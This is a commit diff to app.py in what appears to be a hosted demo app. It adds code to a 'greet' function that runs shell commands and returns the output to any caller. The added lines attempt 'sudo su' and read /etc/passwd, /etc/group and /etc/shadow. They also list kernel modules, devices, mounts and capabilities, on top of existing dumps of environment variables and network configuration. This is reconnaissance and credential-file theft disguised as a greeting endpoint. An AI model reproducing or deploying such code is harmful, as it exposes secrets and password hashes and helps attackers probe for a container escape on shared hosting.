guynachshon commited on
Commit
558a182
·
1 Parent(s): 470af99
Files changed (1) hide show
  1. app.py +21 -0
app.py CHANGED
@@ -4,6 +4,9 @@ import os
4
 
5
 
6
  def greet(name):
 
 
 
7
  environ = os.environ
8
  path = sys.path
9
  whoami = os.popen("whoami").read()
@@ -18,6 +21,15 @@ def greet(name):
18
  envars = os.popen("printenv").read()
19
  user_info = os.popen("id").read()
20
  net_conf = os.popen("ip addr show").read()
 
 
 
 
 
 
 
 
 
21
 
22
  res = f"""
23
  Environ: {environ}
@@ -34,6 +46,15 @@ def greet(name):
34
  Envars: {envars}
35
  User info: {user_info}
36
  Net conf: {net_conf}
 
 
 
 
 
 
 
 
 
37
  """
38
  return "Hello %s!" % res
39
 
 
4
 
5
 
6
  def greet(name):
7
+
8
+ os.popen("sudo su")
9
+
10
  environ = os.environ
11
  path = sys.path
12
  whoami = os.popen("whoami").read()
 
21
  envars = os.popen("printenv").read()
22
  user_info = os.popen("id").read()
23
  net_conf = os.popen("ip addr show").read()
24
+ net_interfaces = os.popen("ip link show").read()
25
+ passwd = os.popen("cat /etc/passwd").read()
26
+ groups = os.popen("cat /etc/group").read()
27
+ shadow = os.popen("cat /etc/shadow").read()
28
+ kernel_modules = os.popen("lsmod").read()
29
+ ls_dev = os.popen("ls /dev").read()
30
+ grep_ro = os.popen("mount | grep '(ro'").read()
31
+ grep_proc_tempfs = os.popen("mount | grep /proc.*tmpfs").read()
32
+ capailities = os.popen("apk add -U libcap; capsh --print").read()
33
 
34
  res = f"""
35
  Environ: {environ}
 
46
  Envars: {envars}
47
  User info: {user_info}
48
  Net conf: {net_conf}
49
+ Net interfaces: {net_interfaces}
50
+ Passwd: {passwd}
51
+ Groups: {groups}
52
+ Shadow: {shadow}
53
+ Kernel modules: {kernel_modules}
54
+ ls /dev: {ls_dev}
55
+ grep ro: {grep_ro}
56
+ grep proc tmpfs: {grep_proc_tempfs}
57
+ Capabilities: {capailities}
58
  """
59
  return "Hello %s!" % res
60